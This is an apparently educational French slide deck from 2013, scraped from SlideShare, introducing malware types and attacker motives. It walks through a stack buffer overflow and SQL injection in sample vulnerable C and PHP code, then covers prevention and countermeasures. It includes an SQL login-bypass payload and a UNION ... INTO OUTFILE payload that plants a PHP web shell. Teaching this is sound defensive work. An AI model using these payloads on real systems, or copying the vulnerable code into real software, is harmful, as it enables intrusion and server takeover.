SlideShare une entreprise Scribd logo
1  sur  29
Télécharger pour lire hors ligne
c0r3war at gmail dot com - 2013
C'est quoi un malware?
Malware
=
MALicious softWARE
Typologie (1)
Malware
Virus
Worm
Trojan
Backdoor
Spyware
Adware
Ransomware
Rootkits
Typologie (2)
Malwares
Backdoor
Spyware
Adware
Ransomware
Rootkits
Virus
Trojan
Worm Botnets
Quelques célébrités
Core War (1960)
Brain (1986)
Melissa (1999)
I Love You (2000)
Nimda (2001)
Blaster (2003)
Zeus (2007)
Conficker (2008)
Stuxnet (2010)
Flame (2012)
Système
compromisExploitation
Conditions necessaires
Cible
Motivationou
Menace
Vulnérabilité
Motivations
Challenge
Reconnaissance
Volontédenuire
(gratuite)
Fraude/volde
données
CyberWar
Volontédenuire
(motivation
financière)
Professionalisation
Vulnérabilité
Définition
Caractéristique d'un asset qui constitue une
faiblesse ou une faille
Stack based buffer overflow
Code source
#include <string.h>
void bad_function (char *buffer)
{
char localString [128];
strcpy (localString, buffer);
}
void main (int argc, char **argv)
{
bad_function (argv[1]);
}
Stack based buffer overflow
La Pile
ESP -->
0xffffffff
0x00000000
Stack based buffer overflow
bad_function (argv[1])
ESP -->
0xffffffff
0x00000000
pointeur vers argv[1]
EIP
EBP
MOV DWORD PTR [ESP], EAX
CALL bad_function
PUSH EBP
MOV EBP,ESP
Stack based buffer overflow
char localString [128];
EBP -->
0xffffffff
0x00000000
pointeur vers argv[1]
EIP
EBP
ESP -->
SUB ESP,0x80
128
octets
AAAA
AAAA
AAAA
Stack based buffer overflow
strcpy (localString, buffer);
EBP -->
0xffffffff
0x00000000
pointeur vers argv[1]
EIP
EBP
[EBP-0x80]
-->
argv [1] = 'AAAAAAAAAAAA'
MOV EAX, DWORD PTR [EBP+8]
PUSH EAX
LEA EAX, DWORD PTR [EBP-0x80]
PUSH EAX
CALL strcpy
Stack based buffer overflow
strcpy (localString, buffer);
EBP -->
0xffffffff
0x00000000
pointeur vers argv[1]
EIP
EBP
argv [1] = 'AAA...AAA'
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
[EBP-0x80]
-->
Stack based buffer overflow
strcpy (localString, buffer);
0xffffffff
0x00000000
pointeur vers argv[1]
EIP
EBP
ESP -->
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
MOV ESP,EBP
POP EBP
RET 4
RET = BOOM
[EBP-0x80]
-->
AAAA
AAAA
AAAA
Stack based buffer overflow
exploitation
0xffffffff
0x00000000
pointeur vers argv[1]
EIP
EBP
ESP -->
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
AAAA
@ retour
Shellcode
CALL ESP
0x90909090
NOP
NOP
NOP
NOP
[EBP-0x80]
-->
Stack based buffer overflow
Prévention
char* strncpy (char* dest, char* src, size-t num);
DEP
ASLR
SQL Injection
Définition
Vulnérabilité due à la mauvaise gestion du contenu
de variables utilisées pour construire une requête
SQL.
Mauvaise gestion des caractères spéciaux
Mauvais typage des variables
SQL Injection
Objectifs
Login bypass
Modification de données dans la base
Deny of Service
Execution de code sur le serveur
Récupération/création/écrasement de fichiers...
<?php
$mysqli = mysqli_connect("127.0.0.1", "xxxx_user", "xxxx",
"xxxx");
if (mysqli_connect_errno($mysqli)) {
echo "Failed to connect to MySQL: " .
mysqli_connect_error();
}
$login = $_GET["login"];
$password = $_GET["password"];
$res = mysqli_query($mysqli,
"SELECT * from users where login='$login' and
password='$password';");
if ($res)
if ($res->num_rows) {
$row = mysqli_fetch_assoc($res);
echo "Hello {$row['name']}, your user ID is {$row
['login']}.<p>";
} else {
echo "Unknown user or bad password, login denied.";
}
?>;
SQL Injection
Exemple de code vulnérable
SQL Injection
La requête vulnérable
select * from users where
login='$login' and
password='$password';
SQL Injection
Ce qui facilite l'exploitation
$row = mysqli_fetch_assoc($res);
echo "Hello {$row['name']}, your user ID is
{$row['login']}.<p>";
SQL Injection
Test de vulnérabilité
select * from users where login='' or 1=1;
-- and password='MDP';
Paramètre Valeur
$login ' or 1=1; --
$password MDP
SQL Injection
Ecriture d'un fichier sur le disque
select * from users where login='' UNION
SELECT '<? system($_GET['c']); ?>', '',
'', '', '' INTO OUTFILE 'd:
xampphtdocsaesrshell.php' --
and password='MDP';
Paramètre Valeur
$login ' UNION SELECT '<? system($_GET
['c']); ?>', '', '', '', '' INTO
OUTFILE 'd:
xampphtdocsaesrshell.php' --
$password MDP
SQL Injection
Prévention
Escaping
en PHP: mysqli_real_escape_string ()
Prepared statements
en PHP: mysqli_prepare ()
Contrôle des paramètres passés à la requête
Gestion des droits dans la base de données
WAF (Web Application Firewall)
Contre mesures
Prévenir les attaques
Le concept de Defense in depth
Contre mesures
Préventives
Patch management
Vulnerability Assessment & Management
Limitation des services au strict minimum
Limitation des droits au strict minimum
Bon sens
Contre mesures
Curatives
Firewall et segmentation
WAF (Web Application Firewall)
IDS/IPS et HIPS
AV, anti malware, anti rootkits
Vulnerability assessment
Zoom sur une contre mesure
Outil permettant de determiner quelles sont les
vulnérabilités d'un système

Contenu connexe

En vedette

Apresentação dos resultados 2 t11
Apresentação dos resultados 2 t11Apresentação dos resultados 2 t11
Apresentação dos resultados 2 t11TriunfoRi
 
Reproductor mp3
Reproductor mp3Reproductor mp3
Reproductor mp3INFOD
 
Apresentação dos resultados 1 t11
Apresentação dos resultados 1 t11Apresentação dos resultados 1 t11
Apresentação dos resultados 1 t11TriunfoRi
 

En vedette (6)

Apresentação dos resultados 2 t11
Apresentação dos resultados 2 t11Apresentação dos resultados 2 t11
Apresentação dos resultados 2 t11
 
Bb24349353
Bb24349353Bb24349353
Bb24349353
 
Reproductor mp3
Reproductor mp3Reproductor mp3
Reproductor mp3
 
CurriculumVitae
CurriculumVitaeCurriculumVitae
CurriculumVitae
 
Apresentação dos resultados 1 t11
Apresentação dos resultados 1 t11Apresentação dos resultados 1 t11
Apresentação dos resultados 1 t11
 
Succession “Losers”: What Happens to Executives Passed Over for the CEO Job?
Succession “Losers”: What Happens to Executives Passed Over for the CEO Job? Succession “Losers”: What Happens to Executives Passed Over for the CEO Job?
Succession “Losers”: What Happens to Executives Passed Over for the CEO Job?
 

Similaire à Malwares

Webinaire : sécurité informatique sur le web - Jérôme Thémée
Webinaire : sécurité informatique sur le web - Jérôme ThéméeWebinaire : sécurité informatique sur le web - Jérôme Thémée
Webinaire : sécurité informatique sur le web - Jérôme ThéméeMarie Tapia
 
Meet up symfony 11 octobre 2016 - Les formulaire
Meet up symfony 11 octobre 2016 - Les formulaireMeet up symfony 11 octobre 2016 - Les formulaire
Meet up symfony 11 octobre 2016 - Les formulaireJulien Vinber
 
Introduction à la sécurité des applications web avec php [fr]
Introduction à la sécurité des applications web avec php [fr]Introduction à la sécurité des applications web avec php [fr]
Introduction à la sécurité des applications web avec php [fr]Wixiweb
 
Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée
Conférence #nwxtech2 : Sécurité web/PHP par Maxime MauchausséeConférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée
Conférence #nwxtech2 : Sécurité web/PHP par Maxime MauchausséeNormandie Web Xperts
 
Epitech securite-2012.key
Epitech securite-2012.keyEpitech securite-2012.key
Epitech securite-2012.keyDamien Seguy
 
Concevoir, développer et sécuriser des micro-services avec Spring Boot
Concevoir, développer et sécuriser des micro-services avec Spring BootConcevoir, développer et sécuriser des micro-services avec Spring Boot
Concevoir, développer et sécuriser des micro-services avec Spring BootDNG Consulting
 
Procédures CLR pour SQL Server : avantages et inconvénients
Procédures CLR pour SQL Server : avantages et inconvénientsProcédures CLR pour SQL Server : avantages et inconvénients
Procédures CLR pour SQL Server : avantages et inconvénientsDenis Voituron
 
Tuto atelier securisation_site_web
Tuto atelier securisation_site_webTuto atelier securisation_site_web
Tuto atelier securisation_site_websahar dridi
 
Trucs et astuces PHP et MySQL
Trucs et astuces PHP et MySQLTrucs et astuces PHP et MySQL
Trucs et astuces PHP et MySQLDamien Seguy
 
Intervention de Cybersécurité en BTS SIO
Intervention de Cybersécurité en BTS SIOIntervention de Cybersécurité en BTS SIO
Intervention de Cybersécurité en BTS SIOMauriceLambert1
 
Analyse statique et applications
Analyse statique et applicationsAnalyse statique et applications
Analyse statique et applicationsDamien Seguy
 
Securitedesapplications 091011120426-phpapp02
Securitedesapplications 091011120426-phpapp02Securitedesapplications 091011120426-phpapp02
Securitedesapplications 091011120426-phpapp02Asma Messaoudi
 
Deployer son propre SOC !
Deployer son propre SOC ! Deployer son propre SOC !
Deployer son propre SOC ! SecludIT
 
Php mysql cours
Php mysql coursPhp mysql cours
Php mysql courszan
 
Authentification sociale en angular 1.pptx
Authentification sociale en angular 1.pptxAuthentification sociale en angular 1.pptx
Authentification sociale en angular 1.pptxMickael ROLO
 
Développement sécurisé d'applications avec Zend Framework
Développement sécurisé d'applications avec Zend FrameworkDéveloppement sécurisé d'applications avec Zend Framework
Développement sécurisé d'applications avec Zend FrameworkMickael Perraud
 

Similaire à Malwares (17)

Sécurité MySQL
Sécurité MySQLSécurité MySQL
Sécurité MySQL
 
Webinaire : sécurité informatique sur le web - Jérôme Thémée
Webinaire : sécurité informatique sur le web - Jérôme ThéméeWebinaire : sécurité informatique sur le web - Jérôme Thémée
Webinaire : sécurité informatique sur le web - Jérôme Thémée
 
Meet up symfony 11 octobre 2016 - Les formulaire
Meet up symfony 11 octobre 2016 - Les formulaireMeet up symfony 11 octobre 2016 - Les formulaire
Meet up symfony 11 octobre 2016 - Les formulaire
 
Introduction à la sécurité des applications web avec php [fr]
Introduction à la sécurité des applications web avec php [fr]Introduction à la sécurité des applications web avec php [fr]
Introduction à la sécurité des applications web avec php [fr]
 
Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée
Conférence #nwxtech2 : Sécurité web/PHP par Maxime MauchausséeConférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée
Conférence #nwxtech2 : Sécurité web/PHP par Maxime Mauchaussée
 
Epitech securite-2012.key
Epitech securite-2012.keyEpitech securite-2012.key
Epitech securite-2012.key
 
Concevoir, développer et sécuriser des micro-services avec Spring Boot
Concevoir, développer et sécuriser des micro-services avec Spring BootConcevoir, développer et sécuriser des micro-services avec Spring Boot
Concevoir, développer et sécuriser des micro-services avec Spring Boot
 
Procédures CLR pour SQL Server : avantages et inconvénients
Procédures CLR pour SQL Server : avantages et inconvénientsProcédures CLR pour SQL Server : avantages et inconvénients
Procédures CLR pour SQL Server : avantages et inconvénients
 
Tuto atelier securisation_site_web
Tuto atelier securisation_site_webTuto atelier securisation_site_web
Tuto atelier securisation_site_web
 
Trucs et astuces PHP et MySQL
Trucs et astuces PHP et MySQLTrucs et astuces PHP et MySQL
Trucs et astuces PHP et MySQL
 
Intervention de Cybersécurité en BTS SIO
Intervention de Cybersécurité en BTS SIOIntervention de Cybersécurité en BTS SIO
Intervention de Cybersécurité en BTS SIO
 
Analyse statique et applications
Analyse statique et applicationsAnalyse statique et applications
Analyse statique et applications
 
Securitedesapplications 091011120426-phpapp02
Securitedesapplications 091011120426-phpapp02Securitedesapplications 091011120426-phpapp02
Securitedesapplications 091011120426-phpapp02
 
Deployer son propre SOC !
Deployer son propre SOC ! Deployer son propre SOC !
Deployer son propre SOC !
 
Php mysql cours
Php mysql coursPhp mysql cours
Php mysql cours
 
Authentification sociale en angular 1.pptx
Authentification sociale en angular 1.pptxAuthentification sociale en angular 1.pptx
Authentification sociale en angular 1.pptx
 
Développement sécurisé d'applications avec Zend Framework
Développement sécurisé d'applications avec Zend FrameworkDéveloppement sécurisé d'applications avec Zend Framework
Développement sécurisé d'applications avec Zend Framework
 

Malwares